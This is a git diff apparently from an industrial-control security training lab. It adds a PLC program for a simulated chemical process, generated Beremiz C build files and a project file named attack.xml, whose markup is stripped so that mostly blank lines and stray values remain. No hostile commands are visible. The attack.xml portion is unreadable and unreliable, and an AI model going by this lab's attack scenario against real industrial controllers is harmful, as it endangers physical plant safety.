composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + 